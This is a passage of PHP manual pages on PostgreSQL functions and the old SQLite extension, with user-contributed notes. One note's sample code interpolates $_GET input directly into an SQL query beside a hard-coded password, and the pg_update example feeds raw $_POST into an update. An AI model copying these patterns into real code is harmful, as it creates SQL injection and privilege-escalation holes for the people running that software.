int pg_lo_import ( resource connection, string pathname )

don't know the reason
Ron Howard 05-Jan-2003 04:20
If there is an error in one of your queries, the queries following it will not get executed, and there will *not* be an error message displayed. The only way I can think of to determine if an SQL error happened is to use pg_trace.

Example:

pg_send_query($connection,
    "SELECT id FROM users;
    SELECT * FROM customers;
     [INVALID-SQL-STATEMENT];
    SELECT name FROM countries;");

while ($result = pg_get_result($connection))
    $results[] = $result;

The $results array will only have two items in it.


Set the client encoding

  • « pg_send_query
  • pg_set_error_verbosity »
  • PHP Manual
  • PostgreSQL Functions
  • Set the client encoding

pg_set_client_encoding

(PHP 4 >= 4.0.3, PHP 5)

pg_set_client_encoding — Set the client encoding

Description

int pg_set_client_encoding ([ resource $connection ], string $encoding )

pg_set_client_encoding() sets the client encoding and returns 0 if success or -1 if error.

PostgreSQL will automatically convert data in the backend database encoding into the frontend encoding.

Note:

The function used to be called pg_setclientencoding().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

encoding

The required client encoding. One of SQL_ASCII, EUC_JP, EUC_CN, EUC_KR, EUC_TW, UNICODE, MULE_INTERNAL, LATINX (X=1...9), KOI8, WIN, ALT, SJIS, BIG5 or WIN1250.

The exact list of available encodings depends on your PostgreSQL version, so check your PostgreSQL manual for a more specific list.

Return Values

Returns 0 on success or -1 on error.

Examples

Example #1 pg_set_client_encoding() example

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

// Set the client encoding to UNICODE.  Data will be automatically
// converted from the backend encoding to the frontend.
pg_set_client_encoding($conn, "UNICODE");

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

// Write out UTF-8 data
while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";
}

?>

See Also

  • pg_client_encoding() - Gets the client encoding

User Contributed Notes

14-Jul-2001 05:19
pg_query($connection, "set client_encoding to '$encoding'") can be used instead.


Determines the verbosity of messages returned by pg_last_error and pg_result_error.

  • « pg_set_client_encoding
  • pg_socket »
  • PHP Manual
  • PostgreSQL Functions
  • Determines the verbosity of messages returned by pg_last_error and pg_result_error.

pg_set_error_verbosity

(PHP 5 >= 5.1.0)

pg_set_error_verbosity — Determines the verbosity of messages returned by pg_last_error() and pg_result_error().

Description

int pg_set_error_verbosity ([ resource $connection ], int $verbosity )

Determines the verbosity of messages returned by pg_last_error() and pg_result_error().

pg_set_error_verbosity() sets the verbosity mode, returning the connection's previous setting. In PGSQL_ERRORS_TERSE mode, returned messages include severity, primary text, and position only; this will normally fit on a single line. The default mode (PGSQL_ERRORS_DEFAULT) produces messages that include the above plus any detail, hint, or context fields (these may span multiple lines). The PGSQL_ERRORS_VERBOSE mode includes all available fields. Changing the verbosity does not affect the messages available from already-existing result objects, only subsequently-created ones.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

verbosity

The required verbosity: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT or PGSQL_ERRORS_VERBOSE.

Return Values

The previous verbosity level: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT or PGSQL_ERRORS_VERBOSE.

Examples

Example #1 pg_set_error_verbosity() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  pg_set_error_verbosity($dbconn, PGSQL_ERRORS_VERBOSE);
  $res1 = pg_get_result($dbconn);
  echo pg_result_error($res1);
?>

See Also

  • pg_last_error() - Get the last error message string of a connection
  • pg_result_error() - Get error message associated with result

User Contributed Notes

There are no user contributed notes for this page.


Get a read only handle to the socket underlying a PostgreSQL connection

  • « pg_set_error_verbosity
  • pg_trace »
  • PHP Manual
  • PostgreSQL Functions
  • Get a read only handle to the socket underlying a PostgreSQL connection

pg_socket

(PHP 5 >= 5.6.0)

pg_socket — Get a read only handle to the socket underlying a PostgreSQL connection

Description

resource pg_socket ( resource $connection )

pg_socket() returns a read only resource corresponding to the socket underlying the given PostgreSQL connection.

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

PostgreSQL database connection resource.

Return Values

A socket resource on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Enable tracing a PostgreSQL connection

  • « pg_socket
  • pg_transaction_status »
  • PHP Manual
  • PostgreSQL Functions
  • Enable tracing a PostgreSQL connection

pg_trace

(PHP 4 >= 4.0.1, PHP 5)

pg_trace — Enable tracing a PostgreSQL connection

Description

bool pg_trace ( string $pathname [, string $mode = "w" [, resource $connection ]] )

pg_trace() enables tracing of the PostgreSQL frontend/backend communication to a file. To fully understand the results, one needs to be familiar with the internals of PostgreSQL communication protocol.

For those who are not, it can still be useful for tracing errors in queries sent to the server, you could do for example grep '^To backend' trace.log and see what queries actually were sent to the PostgreSQL server. For more information, refer to the » PostgreSQL Documentation.

Parameters

pathname

The full path and file name of the file in which to write the trace log. Same as in fopen().

mode

An optional file access mode, same as for fopen().

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_trace() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
   pg_query("SELECT 1");
   pg_untrace($pgsql_conn);
   // Now /tmp/trace.log will contain backend communication
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

See Also

  • fopen() - Opens file or URL
  • pg_untrace() - Disable tracing of a PostgreSQL connection

User Contributed Notes

There are no user contributed notes for this page.


Returns the current in-transaction status of the server.

  • « pg_trace
  • pg_tty »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the current in-transaction status of the server.

pg_transaction_status

(PHP 5 >= 5.1.0)

pg_transaction_status — Returns the current in-transaction status of the server.

Description

int pg_transaction_status ( resource $connection )

Returns the current in-transaction status of the server.

Caution

pg_transaction_status() will give incorrect results when using a PostgreSQL 7.3 server that has the parameter autocommit set to off. The server-side autocommit feature has been deprecated and does not exist in later server versions.

Parameters

connection

PostgreSQL database connection resource.

Return Values

The status can be PGSQL_TRANSACTION_IDLE (currently idle), PGSQL_TRANSACTION_ACTIVE (a command is in progress), PGSQL_TRANSACTION_INTRANS (idle, in a valid transaction block), or PGSQL_TRANSACTION_INERROR (idle, in a failed transaction block). PGSQL_TRANSACTION_UNKNOWN is reported if the connection is bad. PGSQL_TRANSACTION_ACTIVE is reported only when a query has been sent to the server and not yet completed.

Examples

Example #1 pg_transaction_status() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $stat = pg_transaction_status($dbconn);
  if ($stat === PGSQL_TRANSACTION_UNKNOWN) {
      echo 'Connection is bad';
  } else if ($stat === PGSQL_TRANSACTION_IDLE) {
      echo 'Connection is currently idle';
  } else {
      echo 'Connection is in a transaction state';
  }
?>

User Contributed Notes

btherl at yahoo dot com dot au 18-Jul-2006 04:27
This function is implemented in C, so there's no way to mimic it in SQL for older versions of PHP.  But you can mimic some of the functionality by using a wrapper which keeps track of when you begin and commit/rollback transactions.


Return the TTY name associated with the connection

  • « pg_transaction_status
  • pg_unescape_bytea »
  • PHP Manual
  • PostgreSQL Functions
  • Return the TTY name associated with the connection

pg_tty

(PHP 4, PHP 5)

pg_tty — Return the TTY name associated with the connection

Description

string pg_tty ([ resource $connection ] )

pg_tty() returns the TTY name that server side debugging output is sent to on the given PostgreSQL connection resource.

Note:

pg_tty() is obsolete, since the server no longer pays attention to the TTY setting, but the function remains for backwards compatibility.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the debug TTY of the connection, or FALSE on error.

Examples

Example #1 pg_tty() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   print "Server debug TTY is: " . pg_tty($pgsql_conn) . "<br/>\n";
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Unescape binary for bytea type

  • « pg_tty
  • pg_untrace »
  • PHP Manual
  • PostgreSQL Functions
  • Unescape binary for bytea type

pg_unescape_bytea

(PHP 4 >= 4.3.0, PHP 5)

pg_unescape_bytea — Unescape binary for bytea type

Description

string pg_unescape_bytea ( string $data )

pg_unescape_bytea() unescapes PostgreSQL bytea data values. It returns the unescaped string, possibly containing binary data.

Note:

When you SELECT a bytea type, PostgreSQL returns octal byte values prefixed with '\' (e.g. \032). Users are supposed to convert back to binary format manually.

This function requires PostgreSQL 7.2 or later. With PostgreSQL 7.2.0 and 7.2.1, bytea values must be cast when you enable multi-byte support. i.e. INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea); PostgreSQL 7.2.2 or later does not need a cast. The exception is when the client and backend character encoding does not match, and there may be multi-byte stream error. User must then cast to bytea to avoid this error.

Parameters

data

A string containing PostgreSQL bytea data to be converted into a PHP binary string.

Return Values

A string containing the unescaped data.

Examples

Example #1 pg_unescape_bytea() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Get the bytea data
  $res = pg_query("SELECT data FROM gallery WHERE name='Pine trees'");
  $raw = pg_fetch_result($res, 'data');

  // Convert to binary and send to the browser
  header('Content-type: image/jpeg');
  echo pg_unescape_bytea($raw);
?>

Changelog

Version | Description
5.5.1 | A warning is thrown if the input string is invalid.

See Also

  • pg_escape_bytea() - Escape a string for insertion into a bytea field
  • pg_escape_string() - Escape a string for query

User Contributed Notes

muralito at montevideo dot com dot uy 18-Mar-2011 02:10
The workaround is to configure a property in the postgres database for the user, to make postgres behave as the old default.

ALTER USER username SET bytea_output = 'escape';

(or using the pgadmin interface)
liviu dot mirea at gmail dot com 15-Oct-2010 07:06
PostgreSQL 9.0 introduced "hex" as the new default format for encoding binary data. Because "pg_unescape_bytea" only works with the old "escape" format, you need to do pg_query('SET bytea_output = "escape";'); before executing your select queries.

More details can be found here: http://www.postgresql.org/docs/9.0/static/datatype-binary.html
tiagopastorello at gmail dot com 30-Jun-2008 09:31
<?php
$conexao = pg_connect("host=localhost dbname=name user=postgres password=123456") or die('Sorry =( : ' . pg_last_error());

$cod= $_GET['cod'];

$sql = "SELECT * FROM table WHERE cod_field = '$cod'";
$quer = pg_query($conexao, $sql);

$reg = pg_fetch_object($query);

print pg_unescape_bytea($reg -> field_bytea);

?>


Disable tracing of a PostgreSQL connection

  • « pg_unescape_bytea
  • pg_update »
  • PHP Manual
  • PostgreSQL Functions
  • Disable tracing of a PostgreSQL connection

pg_untrace

(PHP 4 >= 4.0.1, PHP 5)

pg_untrace — Disable tracing of a PostgreSQL connection

Description

bool pg_untrace ([ resource $connection ] )

Stop tracing started by pg_trace().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Always returns TRUE.

Examples

Example #1 pg_untrace() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
   pg_query("SELECT 1");
   pg_untrace($pgsql_conn);
   // Now tracing of backend communication is disabled
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

See Also

  • pg_trace() - Enable tracing a PostgreSQL connection

User Contributed Notes

There are no user contributed notes for this page.


Update table

  • « pg_untrace
  • pg_version »
  • PHP Manual
  • PostgreSQL Functions
  • Update table

pg_update

(PHP 4 >= 4.3.0, PHP 5)

pg_update — Update table

Description

mixed pg_update ( resource $connection , string $table_name , array $data , array $condition [, int $options = PGSQL_DML_EXEC ] )

pg_update() updates records that matches condition with data. If options is specified, pg_convert() is applied to data with specified options.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table into which to update rows.

data

An array whose keys are field names in the table table_name, and whose values are what matched rows are to be updated to.

condition

An array whose keys are field names in the table table_name, and whose values are the conditions that a row must meet to be updated.

options

Any number of PGSQL_CONV_FORCE_NULL, PGSQL_DML_NO_CONV, PGSQL_DML_ESCAPE, PGSQL_DML_EXEC, PGSQL_DML_ASYNC or PGSQL_DML_STRING combined. If PGSQL_DML_STRING is part of the options then query string is returned. When PGSQL_DML_NO_CONV or PGSQL_DML_ESCAPE is set, it does not call pg_convert() internally.

Return Values

Returns TRUE on success or FALSE on failure. Returns string if PGSQL_DML_STRING is passed via options.

Examples

Example #1 pg_update() example

<?php
  $db = pg_connect('dbname=foo');
  $data = array('field1'=>'AA', 'field2'=>'BB');

  // This is safe, since $_POST is converted automatically
  $res = pg_update($db, 'post_log', $_POST, $data);
  if ($res) {
      echo "Data is updated: $res\n";
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

Changelog

Version | Description
5.6.0 | No longer experimental. Added PGSQL_DML_ESCAPE constant, TRUE/FALSE and NULL data type support.
5.5.3/5.4.19 | Direct SQL injection to table_name and Indirect SQL injection to identifiers are fixed.

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

dominik dot bonsch at homesono dot de 25-Jan-2008 10:24
Using pg_update() and pg_insert() without key validation is not secure!

You need to check which data pairs you get, and if you want to allow to updated this column.

Example:

You have a table with tree colums: username, password, userlevel.

Your users may change only their username, and their password but not their userlevel.

If you don't filter the keys in the request array, every user can now change his userlevel just by sending a POST Request with "userlevel=>100".

So if you don't check if the key are allowed in your request array you'll get serious sql injection vulnarabilities in your code.
jhooks 13-Apr-2006 04:54
> Return Values
>
> Returns TRUE on success or FALSE on failure. Returns string if
> PGSQL_DML_STRING is passed via options.

I have found in my copy of PHP (version 4.4.0) that if you use the 'PGSQL_DML_STRING' option, the function does not execute any query.  It merely returns the query which would have been executed.

Another thing I noticed, pg_update does not seem to make use of pg_trace (atleast in 4.4.0).

PS this isn't a bug report, just an explanation of some undocumented features I noticed.  As the manual says, the function is still in development so this behaviour may differ from version to version.
sdibb at myway dot com 14-Jun-2005 04:26
This function is similar to PEAR::DB's autoExecute() function, with the only difference being that the where clause is an array instead of a string.

Also, if you want to use your instance of the DB class with this function, you can reference the existing resource connection with $db->connection.

An example would be:
<?
     pg_update($db->connection, $arr_update, $arr_where);
?>


Returns an array with client, protocol and server version (when available)

  • « pg_update
  • SQLite »
  • PHP Manual
  • PostgreSQL Functions
  • Returns an array with client, protocol and server version (when available)

pg_version

(PHP 5)

pg_version — Returns an array with client, protocol and server version (when available)

Description

array pg_version ([ resource $connection ] )

pg_version() returns an array with the client, protocol and server version. Protocol and server versions are only available if PHP was compiled with PostgreSQL 7.4 or later.

For more detailed server information, use pg_parameter_status().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns an array with client, protocol and server keys and values (if available). Returns FALSE on error or invalid connection.

Examples

Example #1 pg_version() example

<?php
  $dbconn = pg_connect("host=localhost port=5432 dbname=mary")
     or die("Could not connect");

  $v = pg_version($dbconn);

  echo $v['client'];
?>

The above example will output:

7.4

See Also

  • pg_parameter_status() - Looks up a current parameter setting of the server.

User Contributed Notes

There are no user contributed notes for this page.


SQLite

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SQLite Functions
    • sqlite_array_query — Execute a query against a given database and returns an array
    • sqlite_busy_timeout — Set busy timeout duration, or disable busy handlers
    • sqlite_changes — Returns the number of rows that were changed by the most recent SQL statement
    • sqlite_close — Closes an open SQLite database
    • sqlite_column — Fetches a column from the current row of a result set
    • sqlite_create_aggregate — Register an aggregating UDF for use in SQL statements
    • sqlite_create_function — Registers a "regular" User Defined Function for use in SQL statements
    • sqlite_current — Fetches the current row from a result set as an array
    • sqlite_error_string — Returns the textual description of an error code
    • sqlite_escape_string — Escapes a string for use as a query parameter
    • sqlite_exec — Executes a result-less query against a given database
    • sqlite_factory — Opens an SQLite database and returns an SQLiteDatabase object
    • sqlite_fetch_all — Fetches all rows from a result set as an array of arrays
    • sqlite_fetch_array — Fetches the next row from a result set as an array
    • sqlite_fetch_column_types — Return an array of column types from a particular table
    • sqlite_fetch_object — Fetches the next row from a result set as an object
    • sqlite_fetch_single — Fetches the first column of a result set as a string
    • sqlite_fetch_string — Alias of sqlite_fetch_single
    • sqlite_field_name — Returns the name of a particular field
    • sqlite_has_more — Finds whether or not more rows are available
    • sqlite_has_prev — Returns whether or not a previous row is available
    • sqlite_key — Returns the current row index
    • sqlite_last_error — Returns the error code of the last error for a database
    • sqlite_last_insert_rowid — Returns the rowid of the most recently inserted row
    • sqlite_libencoding — Returns the encoding of the linked SQLite library
    • sqlite_libversion — Returns the version of the linked SQLite library
    • sqlite_next — Seek to the next row number
    • sqlite_num_fields — Returns the number of fields in a result set
    • sqlite_num_rows — Returns the number of rows in a buffered result set
    • sqlite_open — Opens an SQLite database and create the database if it does not exist
    • sqlite_popen — Opens a persistent handle to an SQLite database and create the database if it does not exist
    • sqlite_prev — Seek to the previous row number of a result set
    • sqlite_query — Executes a query against a given database and returns a result handle
    • sqlite_rewind — Seek to the first row number
    • sqlite_seek — Seek to a particular row number of a buffered result set
    • sqlite_single_query — Executes a query and returns either an array for one single column or the value of the first row
    • sqlite_udf_decode_binary — Decode binary data passed as parameters to an UDF
    • sqlite_udf_encode_binary — Encode binary data before returning it from an UDF
    • sqlite_unbuffered_query — Execute a query that does not prefetch and buffer all data
    • sqlite_valid — Returns whether more rows are available

User Contributed Notes

nosdudefr at gmail dot com 06-May-2011 12:34
Regarding  the table creation you can optimize this code a bit by using the built in " CREATE TABLE IF NOT EXISTS <tablename>". This will let the table creation decision to the sqlite engine.

Then, if i may, your code could be something like :

<?php
    if ($db = new SQLiteDatabase('filename')) {
// first let the engine check table, and create it eventualy
           $q = @$db->query('CREATE TABLE IF NOT EXISTS tablename (id int, requests int, PRIMARY KEY (id))';

//the rest of the code, according error checks etc
// ...

?>

For more "tweaks" feel free to look at sqlite language ref : http://www.sqlite.org/lang_createtable.html

Have fun with this powerfull&simple engine :)
Anonymous 25-Jul-2010 01:12
As of July 2010, there are two ways to use SQLite from PHP:
- procedural: sqlite (=sqlite2), sqlite3
- object-oriented: SQLite3, PDO
Andrew Paul Dickey 12-Jun-2009 06:43
If you intend to implement 2.x releases of SQLite with your development you are in the right place, as this library is suitable for use with your application (reference http://us.php.net/manual/en/book.sqlite.php).

If you intend to use SQLite 3.x releases of SQLite with your development please refer to the section on PHP Data Objects, and specifically the PDO-SQLite implementation available at(references: http://us.php.net/manual/en/book.pdo.php , http://au2.php.net/manual/en/ref.pdo-sqlite.php).

It is my hope that this post will save both new users and experienced developers time during their initial or a new implementation of PHP & SQLite by encouraging them to use the appropriate libraries.
saivert at saivert dot com 30-Apr-2008 09:02
How to open a database, create a table if it doesn't exist and inserting initial value.

<?php
    if ($db = new SQLiteDatabase('filename')) {
        $q = @$db->query('SELECT requests FROM tablename WHERE id = 1');
        if ($q === false) {
            $db->queryExec('CREATE TABLE tablename (id int, requests int, PRIMARY KEY (id)); INSERT INTO tablename VALUES (1,1)');
            $hits = 1;
        } else {
            $result = $q->fetchSingle();
            $hits = $result+1;
        }
        $db->queryExec("UPDATE tablename SET requests = '$hits' WHERE id = 1");
    } else {
        die($err);
    }
?>

Use this as boilerplate code for any new project using SQLite.


Introduction

This is an extension for the SQLite Embeddable SQL Database Engine. SQLite is a C library that implements an embeddable SQL database engine. Programs that link with the SQLite library can have SQL database access without running a separate RDBMS process.

SQLite is not a client library used to connect to a big database server. SQLite is the server. The SQLite library reads and writes directly to and from the database files on disk.

Note:

For further information see the SQLite Website (» http://sqlite.org/).

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The SQLite extension is enabled by default as of PHP 5.0. Beginning with PHP 5.4, the SQLite extension is available only via PECL.

User Contributed Notes

nidhinstopspam-3 at yahoo dot com 26-Mar-2014 11:44
To enable SQLite extension in PHP simply open the php.ini file find the following line and uncomment it:

;extension=php_sqlite3.dll

This will be found under the section 'Dynamic Extensions' in php.ini file
andrew at NOSPAM dot aljweb dot com 01-Feb-2014 11:06
This is the old SQLite2 extension, SQLite3 is the current SQLite driver for PHP 5.3+ and is included by default.
Anonymous 25-Jul-2013 11:59
This does not explain what PECL is to those just simply wanting to enable SQLite


Installation

Since PHP 5.0 this extension was bundled with PHP. Beginning with PHP 5.4, this extension is available only via PECL.

Windows users must enable php_sqlite.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Windows builds must also enable PDO because as of PHP 5.1.0 it depends on it. So, php.ini will end up with something like this:

extension=php_pdo.dll
extension=php_sqlite.dll
On Linux or Unix operating systems, if you build PDO as a shared extension, you must build SQLite as a shared extension using the --with-sqlite=shared configure option.

The PHP 5.0.x series of Windows builds enabled this extension by default, where no DLL file is necessary.

SQLite 3 is supported through PDO SQLite.

Note: Windows installation for unprivileged accounts

On Windows operating systems, unprivileged accounts don't have the TMP environment variable set by default. This will make sqlite create temporary files in the windows directory, which is not desirable. So, you should set the TMP environment variable for the web server or the user account the web server is running under. If Apache is your web server, you can accomplish this via a SetEnv directive in your httpd.conf file. For example:

SetEnv TMP c:/temp
If you are unable to establish this setting at the server level, you can implement the setting in your script:
<?php
putenv('TMP=C:/temp');
?>
The setting must refer to a directory that the web server has permission to create files in and subsequently write to and delete the files it created. Otherwise, you may receive the following error message: malformed database schema - unable to open a temporary database file for storing temporary tables

User Contributed Notes

Otto Monnig omonnig [at] gmail [dot] com 23-Oct-2010 12:57
In a CentOS 5 default installation, SQLite requires the pdo, sqlite and
pdo_sqlite extensions, which are not installed.  The previous note was very
helpful, but needed some additions:

- get your source version from the historical releases page

        http://www.php.net/releases/

- repeat the compile process below for pdo, sqlite and pdo-sqlite extensions,
  (gcc is required and may have to be installed)

    tar xvf php-your.version.here.tar.gz
    cd php-your.version.here/ext/sqlite/
    phpize
    ./configure
    make
    make install

- create file /etc/php.d/sqlite.ini:

    ; Enable sqlite extension module
    extension=pdo.so
    extension=sqlite.so
    extension=pdo_sqlite.so

- [restart apache] service httpd restart

- search phpinfo(); for 'sqlite' to verify correct installation\
thomas.zangerl [ at ]-NOSPAM-freenet.de 22-Feb-2010 03:57
CentOS 5.4's and probably Fedora's php5 packages are compiled without SQLite support.

While the PECL build did not work for me (version mismatch?) it helped to get the PHP source from

http://php.net/downloads.php

and just compile the SQLite module by doing

tar xfvj php-5.2.12.tar.bz2
cd php-5.2.12/ext/sqlite/
phpize
./configure
make
make install
[restart apache]

Make sure to have php-devel/php5-dev installed and to get the PHP version matching your installed PHP from the download page.
Probably this will require a rebuild when updating the php-packages on CentOS but currently there are unfortunately no good alternatives.
askroot at gmail dot com 07-Apr-2009 06:55
RedHat Enterprise Linux 5 or CentOS 5 sqlite extension install

Super User - root
shell> mkdir temp
shell> cd temp
shell> wget http://pecl.php.net/get/SQLite-1.0.3.tgz
shell> tar zxvf SQLite-1.0.3.tgz
shell> cd SQLite-1.0.3

sqlite.c patch

--- sqlite.c.orig       2004-07-18 19:23:18.000000000 +0900
+++ sqlite.c    2009-04-08 01:39:40.000000000 +0900
@@ -53,7 +53,9 @@
 extern int sqlite_encode_binary(const unsigned char *in, int n, unsigned char *out);
 extern int sqlite_decode_binary(const unsigned char *in, unsigned char *out);

+/*
 static unsigned char arg3_force_ref[] = {3, BYREF_NONE, BYREF_NONE, BYREF_FORCE };
+*/

 static int le_sqlite_db, le_sqlite_result, le_sqlite_pdb;

@@ -122,8 +124,8 @@
 enum { PHPSQLITE_ASSOC = 1, PHPSQLITE_NUM = 2, PHPSQLITE_BOTH = PHPSQLITE_ASSOC|PHPSQLITE_NUM };

 function_entry sqlite_functions[] = {
-       PHP_FE(sqlite_open, arg3_force_ref)
-       PHP_FE(sqlite_popen, arg3_force_ref)
+       PHP_FE(sqlite_open, third_arg_force_ref)
+       PHP_FE(sqlite_popen, third_arg_force_ref)
        PHP_FE(sqlite_close, NULL)
        PHP_FE(sqlite_query, NULL)
        PHP_FE(sqlite_exec, NULL)

shell> phpize
shell> ./configure
shell> make && make install
shell> ls -l /usr/lib/php/modules/sqlite.so
-rwxr-xr-x 1 root root 871225 Apr  7 18:07 /usr/lib/php/modules/sqlite.so
shell> cd /etc/php.d
shell> vi sqlite.ini
; Enable sqlite extension module
extension=sqlite.so
:wq

Web Server Restart

phpinfo.php
<?php
phpinfo();
?>

sqlite
SQLite support enabled
PECL Module version  1.0.3 $Id: sqlite.c,v 1.62.2.25 2004/07/10 12:25:33 wez Exp $
SQLite Library  2.8.14
SQLite Encoding  iso8859

Directive Local Value Master Value
sqlite.assoc_case 0 0


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

SQLite Configure Options
Name | Default | Changeable | Changelog
sqlite.assoc_case | "0" | PHP_INI_ALL | Available since PHP 5.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

sqlite.assoc_case int

Whether to use mixed case (0), upper case (1) or lower case (2) hash indexes.

This option is primarily useful when you need compatibility with other database systems, where the names of the columns are always returned as uppercase or lowercase, regardless of the case of the actual field names in the database schema.

The SQLite library returns the column names in their natural case (that matches the case you used in your schema). When sqlite.assoc_case is set to 0 the natural case will be preserved. When it is set to 1 or 2, PHP will apply case folding on the hash keys to upper- or lower-case the keys, respectively.

Use of this option incurs a slight performance penalty, but is MUCH faster than performing the case folding yourself using PHP script.

User Contributed Notes

S dot Kien at online dot de 21-Jul-2009 11:55
Note, that it is not enought to grant write access to the SQLite database file. Because SQLite creates a journal file in the directory, the database is located. For that reason write acces to this directory is needed as well.

If no write access to the directory is allowed, it is already posible to open database and read data, but first write operation (INSERT,UPDATE, DELETE, CREATE xxx,..) results in error "unable to open database file" (even though the database file already opened for reading...)


Resource Types

There are two resources used in the SQLite Interface. The first one is the database connection, the second one the result set.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The functions sqlite_fetch_array() and sqlite_current() use a constant for the different types of result arrays. The following constants are defined:

SQLite result type constants
SQLITE_ASSOC (int)
Columns are returned into the array having the field name as the array index.
SQLITE_BOTH (int)
Columns are returned into the array having both a numerical index and the field name as the array index.
SQLITE_NUM (int)
Columns are returned into the array having a numerical index to the fields. This index starts with 0, the first field in the result.

A number of functions may return status codes. The following constants are defined:

SQLite status code constants
SQLITE_OK (int)
Successful result.
SQLITE_ERROR (int)
SQL error or missing database.
SQLITE_INTERNAL (int)
An internal logic error in SQLite.
SQLITE_PERM (int)
Access permission denied.
SQLITE_ABORT (int)
Callback routine requested an abort.
SQLITE_BUSY (int)
The database file is locked.
SQLITE_LOCKED (int)
A table in the database is locked.
SQLITE_NOMEM (int)
Memory allocation failed.
SQLITE_READONLY (int)
Attempt to write a readonly database.
SQLITE_INTERRUPT (int)
Operation terminated internally.
SQLITE_IOERR (int)
Disk I/O error occurred.
SQLITE_NOTADB (int)
File opened that is not a database file.
SQLITE_CORRUPT (int)
The database disk image is malformed.
SQLITE_FORMAT (int)
Auxiliary database format error.
SQLITE_NOTFOUND (int)
(Internal) Table or record not found.
SQLITE_FULL (int)
Insertion failed because database is full.
SQLITE_CANTOPEN (int)
Unable to open the database file.
SQLITE_PROTOCOL (int)
Database lock protocol error.
SQLITE_EMPTY (int)
(Internal) Database table is empty.
SQLITE_SCHEMA (int)
The database schema changed.
SQLITE_TOOBIG (int)
Too much data for one row of a table.
SQLITE_CONSTRAINT (int)
Abort due to constraint violation.
SQLITE_MISMATCH (int)
Data type mismatch.
SQLITE_MISUSE (int)
Library used incorrectly.
SQLITE_NOLFS (int)
Uses of OS features not supported on host.
SQLITE_AUTH (int)
Authorized failed.
SQLITE_ROW (int)
Internal process has another row ready.
SQLITE_DONE (int)
Internal process has finished executing.

User Contributed Notes

There are no user contributed notes for this page.


SQLite Functions

Predefined Classes

SQLiteDatabase

Represents an opened SQLite database.

Constructor

  • __construct - construct a new SQLiteDatabase object

Methods

  • query - Execute a query
  • queryExec - Execute a result-less query
  • arrayQuery - Execute a query and return the result as an array
  • singleQuery - Execute a query and return either an array for one single column or the value of the first row
  • unbufferedQuery - Execute an unbuffered query
  • lastInsertRowid - Returns the rowid of the most recently inserted row
  • changes - Returns the number of rows changed by the most recent statement
  • createAggregate - Register an aggregating UDF for use in SQL statements
  • createFunction - Register a UDF for use in SQL statements
  • busyTimeout - Sets or disables busy timeout duration
  • lastError - Returns the last error code of the most recently encountered error
  • fetchColumnTypes - Return an array of column types from a particular table

SQLiteResult

Represents a buffered SQLite result set.

Methods

  • fetch - Fetches the next row from the result set as an array
  • fetchObject - Fetches the next row from the result set as an object
  • fetchSingle - Fetches the first column from the result set as a string
  • fetchAll - Fetches all rows from the result set as an array of arrays
  • column - Fetches a column from the current row of the result set
  • numFields - Returns the number of fields in the result set
  • fieldName - Returns the name of a particular field in the result set
  • current - Fetches the current row from the result set as an array
  • key - Return the current row index
  • next - Seek to the next row number
  • valid - Returns whether more rows are available
  • rewind - Seek to the first row number of the result set
  • prev - Seek to the previous row number of the result set
  • hasPrev - Returns whether or not a previous row is available
  • numRows - Returns the number of rows in the result set
  • seek - Seek to a particular row number

SQLiteUnbuffered

Represents an unbuffered SQLite result set. Unbuffered results sets are sequential, forward-seeking only.

Methods

  • fetch - Fetches the next row from the result set as an array
  • fetchObject - Fetches the next row from the result set as an object
  • fetchSingle - Fetches the first column from the result set as a string
  • fetchAll - Fetches all rows from the result set as an array of arrays
  • column - Fetches a column from the current row of the result set
